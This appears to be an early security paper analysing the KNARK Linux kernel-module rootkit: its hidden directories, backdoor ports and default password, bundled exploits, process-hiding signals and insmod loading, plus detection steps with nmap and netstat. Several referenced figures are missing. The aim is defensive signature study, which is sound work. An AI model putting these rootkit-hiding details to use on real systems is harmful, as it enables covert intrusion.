Purpose

The purpose of this paper is to identify signatures related to the KNARK rootkit. This paper does not show how to install the rootkit nor does it make any comparisons between this rootkit and other rootkits.  This paper will attempt to educate the readers on the various signatures and problems related to this rootkit.

What is a rootkit?

A rootkit is a collection of files/programs used by attacker(s) to re-enter a network/computer without being detected.  Normally a rootkit will come with various “popular” exploits to assist the attacker in the re-entry of a system.  Recently, many of the exploits have been related with common vulnerabilities found in BIND, Linux line printer, and Washington University’s FTP program. 

In addition to the exploits, many rootkits also come with and install sniffers.  This is done because attackers want to capture passwords from users logging in over the network; a sniffer can do this and it’s quite hard to detect.  A rootkit can also change common binaries so that a busy administrator will not detect them. 

Common binaries are binaries that can be used to monitor a systems operation.  Some of the common binaries are /bin/ps, /bin/ls, /bin/netstat, /usr/bin/lsof and /usr/bin/top (this is not a complete list).  Now that we have covered rootkit basics, lets look at the rootkit in question. 
 

The KNARK Rootkit 

Recently there has been a lot of talk about the KNARK rootkit on the Incidents mailing list and many good references (listed at the end of the paper) are coming from the list.  I hope that this paper will provide you with some new and useful information.  The KNARK rootkit was sent by a friend (some friend huh?!) to look at and analyze.  After unzipping the file, I was presented with a bunch of files to look through and analyze.  Table 1 lists the files that come with KNARK: 

After looking through some of the files, I decided to install the rootkit. Knark comes with a file named exec (see Table 1) when this file is executed a couple of things take place:
 

1)     Creates the directories: /dev/.pizda and /dev/.pula (will not be able to see using ls. Use cd /dev/.pizda).

2)     Inserts sysmod.o. This is the module that allows the rootkit too stay hidden.

3)     KNARK also makes changes to the rcx.d S99local file. This causes the machine to fail at boot up. 
 

The first thing I did after installation is pull out NMAP and run nmap –sS –p 1-65535 192.168.0.20 and waited to see what NMAP had too say.  

Figure 1 tells us a lot (good thing this box is in a lab and not in the wild : ). First, we see that there are two (2) ports that are unknown (18667 and 31221).  Second, we see that this box is lucky it hasn’t been rooted at least a dozen times. 

     The next step was to run netstat.  Why?  Well, we want to see if netstat will call out the same ports as NMAP.  If netstat does not call out the same ports then we check the binary for netstat.  

Figure 2 is the results of a netstat –a –n. The output of netstat tells us that the two ports were not identified, so off we go to check the netstat binary. Checking netstat binary required three steps:
 

1)     Run strings. This allows us to see if there is a hidden directory stored in the binary.  Checked it and there was no hidden directories.

2)     Md5sum. This step is common sense. Compared the computers netstat md5sum to a CD's md5sum and no luck!! Both were the same.

3)     Run diff. Yes. . . this is redundant but we have nothing to lose and everything to gain. Unfortunately, the result is the same. Everything checks out OK.

4)     In the past if a box had a rootkit installed, an administrator could comb through the binaries and find traces of the rootkit. Not so in this case. The KNARK rootkit actually hides within the kernel making this rootkit almost impossible to find and analyze. How is this being done? Well, attackers are able to do this by using Loadable Kernel Modules (LKM). For anybody who has been in the Linux world you know that LKM’s are pieces of code that can be loaded into the operating system on demand. As a matter of fact it is encouraged that you use LKM’s in order to update your hardware for your OS. BTW, inserting modules into Linux is not that difficult, in fact insmod –f will do the job. 
 

KNARK comes with some a few good exploits as well. 

1)     Lpdx – This is used to exploit the LPR service of Red Hat boxes. Here is what a IDS might see: 

2)     T666 – Used to exploit BIND 8.2.1.  This exploit is used against Linux and FreeBSD.  A common signature of this tool is there is usually a directory called /var/named/ADMROCKS. 

3)     Wugod – This is an exploit for Washington University’s ftpd 2.6.0(1) for FREEBSD, Linux (RH 6.2 and SuSe 6.3&6.4). 

As we can see this tool does allow an attacker the chance to randomize his | her packet(s).  This will make detecting a little harder.  

Looking at the help command will not assist us in detecting this program, so I decided to run the DOS.  Figure 5 shows us what slice looks like when it is ran.  Keep in mind that these signatures can change (this depends on the attacker and how the rootkit is installed).

     KNARK comes with many other tools that we have not discussed yet.  The first tool we will cover is gib.c.  This tool listens on port 18667 (takes care of one of the two ports we discovered using NMAP) and comes with a by default it has a password of Error and a ps of updated.  This program is just your typical “backdoor” program.  Next, we have a file called init.  This is a shell script BUT, it explains why this root kit is hard to detect.  

Figure 6 explains everything.  I would like to point out a few important lines in this script.

1)     You can see where the attacker uses insmod –f to install sysmod.o.  Again, this allows the attacker to remain hidden.

2)     He uses killall –31 to hide gib, jessuscd and caine. In order to make them viewable you would have to enter killall –32(There is a link at the bottom of this paper that explains this concept in much more detail.). 

3)     You see many references to /dev/.pizda/nethide. An example is:

Recommendations

To be honest, I have not had enough time to come up with solid solutions related to LKM rootkits.  I did come up with a few that might help.  The first is to run LIDS.  I have not tested LIDS, but I plan to test in the near future.  Second, if you come across a LKM rootkit and you cannot find anything (changed binaries etc..) try upgrading your version(providing your not worried about evidence).  Upgrading won’t remove the rootkit but it should allow you to see what exactly was going on. 

Conclusion

This type of rootkit goes against everything Security Administrators were ever taught.  In the past, rootkits  would hide their tracks by replacing binaries.  Administrators would use known good binaries to find the kits and that was that. With this beast it’s not that simple and neither is the solution. 

Recommended Reading 

There are a few links that are required reading:

This link gives you a play by play analysis on the concepts of developing a rootkit such as KNARK.

http://packetstorm.securify.com/groups/thc/LKM_HACKING.html

If you want to learn more about LKM programming this is the link for you.

http://howto.tucows.com/LDP/LDP/lkmpg

Phrack has some great information on exploiting the Linux Kernel as well as hardening the Linux Kernel.

http://www.2600.com/phrack/p52-06.html

             and

http://www.2600.com/phrack/p52-18.html